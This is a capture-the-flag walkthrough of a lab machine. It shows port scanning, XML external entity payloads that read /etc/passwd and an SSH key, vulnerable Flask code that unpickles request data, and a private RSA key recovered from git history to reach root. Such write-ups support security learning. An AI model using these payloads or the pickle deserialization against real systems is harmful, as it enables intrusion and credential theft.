Recon
$nmap -p- -A 10.129.164.53
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA)
| 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA)
|_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519)
5000/tcp open http Gunicorn 19.7.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: gunicorn/19.7.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Going to port 5000, get’s s a nice site under construction!.
Running dirsearch finds us /feed
and /upload
.
Target: http://10.129.164.53:5000/
[19:31:38] Starting:
[19:32:05] 200 - 533KB - /feed
[19:32:27] 200 - 347B - /upload
As one could expect, /upload
will be our primary target.
Uploading my sample xml file, causes the server to crash.
Creating xml as mentioned by the site, returns some kind of blogpost processing response.
<Document>
<Author>John Doe</Author>
<Subject>XML Tutorial</Subject>
<Content>
XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
</Content>
</Document>
Going to http://10.129.164.53:5000/uploads/sample-xml-files-sample-4.xml
does indeed work.
We also learn that the files are stored under /home/roosa/deploy/src
and now know the name of our victim user roosa
. For a recap on testing xml files, checkout hacktricks, as this is where I got my code from. Let’s test if ENTITY declaration is working.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<Document>
<Author>John Doe</Author>
<Subject>XML Tutorial</Subject>
<Content>
XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
</Content>
</Document>
Testing further, let’s see if we can see file contents.
<!DOCTYPE foo
[<!ENTITY example SYSTEM "/etc/passwd">
]>
<Document>
<Author>&example;</Author>
<Subject>XML Tutorial</Subject>
<Content>
XML (Extensible Markup Language) is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable.
</Content>
</Document>
It works!
There are two ways of moving forward. One, just grabbing the id_rsa (/home/roosa/.ssh/id_rsa
) of user roosa, that we found earlier. Remember to chmod 600
and we are in.
Second option is to try to abuse feed.py
.
def uploaded_file(filename):
return send_from_directory(Config.UPLOAD_FOLDER, filename)
@app.route("/")
def xss():
return render_template('index.html')
@app.route("/feed")
def fakefeed():
return send_from_directory(".", "devsolita-snapshot.png")
@app.route("/newpost", methods=["POST"])
def newpost():
# TODO: Proper save to database, this is for testing purposes right now
picklestr = base64.urlsafe_b64decode(request.data)
# Deserialize the pickled object
postObj = pickle.loads(picklestr)
return "POST RECEIVED: " + postObj['Subject']
## TODO: VERY important! DISABLED THIS IN PRODUCTION
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
# TODO: Replace run-gunicorn.sh with real Linux service script
# app = DebuggedApplication(app, evalex=True, console_path='/debugconsole')
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True)
We can do a post to /newpost
and get a reverse shell. Abusing pickle is nicely explained in this blogpost.
Priv esc
In our home folder we have a couple of non-standard things.
run-blogfeed.sh
#/bin/bash
# TODO: replace with better script and run as blogfeed user which is restricted
cd /home/roosa/work/blogfeed/src
../run-gunicorn.sh
run-gunicorn.sh:
#!/bin/sh
export FLASK_APP=feed.py
export WERKZEUG_DEBUG_PIN=151237652
gunicorn -w 10 -b 0.0.0.0:5000 --log-file feed.log --log-level DEBUG --access-logfile access.log feed:app
There is also /deploy
and /work
. They both have run-gunicorn script, but /work
has also authcredentials.key
.
~/work/blogfeed/resources/integration$ cat authcredentials.key
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----
That is definetly interesting, I tried to ssh as root into the server, but no shot. Exploring /work
further, I found that it has git in it.
~/work/blogfeed$ ls -la
total 32
drwxrwx--- 5 roosa roosa 4096 Oct 17 09:51 .
drwxrwxr-x 3 roosa roosa 4096 Mar 26 2021 ..
-rw-rw-r-- 1 roosa roosa 0 Oct 17 09:51 access.log
-rw-rw-r-- 1 roosa roosa 3869 Oct 17 09:51 feed.log
drwxrwx--- 8 roosa roosa 4096 Mar 26 2021 .git
-rw-rw---- 1 roosa roosa 104 Mar 19 2018 README.md
drwxrwx--- 3 roosa roosa 4096 Mar 26 2021 resources
-rwxrw-r-- 1 roosa roosa 180 Mar 21 2018 run-gunicorn.sh
drwxrwx--- 2 roosa roosa 4096 Mar 26 2021 src
Checking the commits get’s us explanation, why our ssh key didn’t work.
roosa@devoops:~/work/blogfeed$ git log --name-only --oneline
<SNIP>
33e87c3 reverted accidental commit with proper key
resources/integration/authcredentials.key
d387abf add key for feed integration from tnerprise backend
resources/integration/authcredentials.key
1422e5a Initial commit
README.md
Logging in with newly obtained ssh key works. Cool box.